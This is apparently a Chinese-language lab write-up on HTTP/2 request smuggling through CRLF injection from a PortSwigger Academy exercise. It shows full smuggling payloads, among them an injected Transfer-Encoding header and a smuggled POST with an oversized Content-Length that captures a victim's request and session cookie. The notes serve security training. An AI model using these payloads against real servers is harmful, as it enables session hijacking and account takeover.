> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/request-smuggling/http-2-request-smuggling-via-crlf-injection.md).
# 通过 CRLF 注入进行 HTTP/2 请求走私
通过 CRLF 注入进行 HTTP/2 请求走私笔记，适用于 PortSwigger Web Security Academy 实验室，包括利用流程、载荷测试、Burp Suite 验证和修复上下文。
### 通过 CRLF 注入进行 HTTP/2 请求走私
这个实验环境存在请求走私漏洞，因为前端服务器会将 HTTP/2 请求转换为 HTTP/1，并且没有正确清理某些传入的请求头。
目标是利用一个 HTTP/2 特有的走私向量来访问另一名用户的账户。受害者每 15 秒访问一次主页。
可以观察到，应用程序维护了一个搜索历史，并且它与会话 cookie 直接关联。
我们先发送一个测试请求，但没有出现异常行为
```http
Host: 0ad200fd030e8566803cd541002300e6.web-security-academy.net
Transfer-Encoding: chunked
0
GET /error HTTP/1.1
Host: 0ad200fd030e8566803cd541002300e6.web-security-academy.net
Content-Length: 18
test=testing
```
检查显示，与以下内容相关的请求头验证 **Transfer-Encoding** 不足。/ 因此我们尝试绕过过滤：移除原始的 `chunked` 并在 HTTP/2 中添加一个新的任意请求头。
```http
Transfer-Encoding: chunked
```
Burp 添加：
```http
名称：
test
值：
test
Transfer-Encoding: chunked
```
服务器接受了该修改，证明确实对请求头的清理不充分。
思路是诱使受害者 **发起一个包含我们自己会话 cookie 的搜索请求**，同时注入一个过大的 **Content-Length** ，这样他的下一个请求就会与我们的请求拼接在一起。
走私的载荷：
```http
0
POST / HTTP/1.1
Host: 0ad200fd030e8566803cd541002300e6.web-security-academy.net
Cookie: session=Vfo5XHvHSzPQIuPLitJnpePRWRlNbkaW;
Content-Length: 850
search=x
```
当服务器处理下一个请求——也就是受害者的请求——时，其内容会出现在我们的响应中，进而将 **其请求头，尤其是其会话 cookie**.
因此我们可以 **劫持用户会话** 并访问他的账户。
---
# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.
## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.
Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:
```
GET https://hacking-notes.jord4n.pro/zh/web/request-smuggling/http-2-request-smuggling-via-crlf-injection.md?ask=&goal=
```
`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
